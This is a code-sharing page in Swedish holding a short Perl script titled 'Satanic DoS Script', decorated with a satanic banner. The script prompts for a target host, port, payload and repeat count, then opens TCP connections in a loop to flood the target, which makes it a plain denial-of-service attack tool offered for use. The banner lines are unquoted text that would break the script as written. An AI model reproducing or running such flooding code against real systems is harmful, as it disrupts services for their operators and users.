Satanic DoS Script

Skapad 3 år sedan, skriven i Perl, med 324 visningar.
URL http://kod.perl.se/view/87e93604 Bädda in
Ladda hem koden eller visa koden i råformatVisa bredare version
  1. #!/usr/bin/perl
  2.  
  3. Sheikh Iblis
  4.  
  5. use IO::Socket;
  6.  
  7.  "The Satanist has always ruled the earth... and always will, by whatever name he is called." (Book of Lucifer)
  8.  
  9.                      Regie Satanas!
  10.                        Ave Satanas!
  11.                         Hail Satan!
  12.  
  13.                                  
  14.                  ___________________________
  15.                     <><><><><><><><><>
  16.                       Satanic DoS Script
  17.                          By, Sheikh Iblis
  18.                     <><><><><><><><><>
  19.                 ____________________________
  20. };
  21.  
  22. print "Host : ";
  23. $serv = <stdin>;
  24. chop ($serv);
  25.  
  26. print "Port : ";
  27. $port = <stdin>;
  28. chop ($port);
  29.  
  30. print "Data :";
  31. $data = <stdin>;
  32. chop($data);
  33.  
  34. print "Times To Flood : ";
  35. $times = <stdin>;
  36. chop ($times);
  37.  
  38. for ($i=0; $i<$times; $i++)
  39. {
  40. $flood = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "$port") || print "[*] Server Down!\n";
  41. print $flood $data;
  42. syswrite STDOUT, "[*] Flooding - ".$i."\n";
  43. }
  44.  
  45. print "[*] End of flood.\n";

Svara på "Satanic DoS Script"

Här kan du skriva ett svar till kodsnutten ovan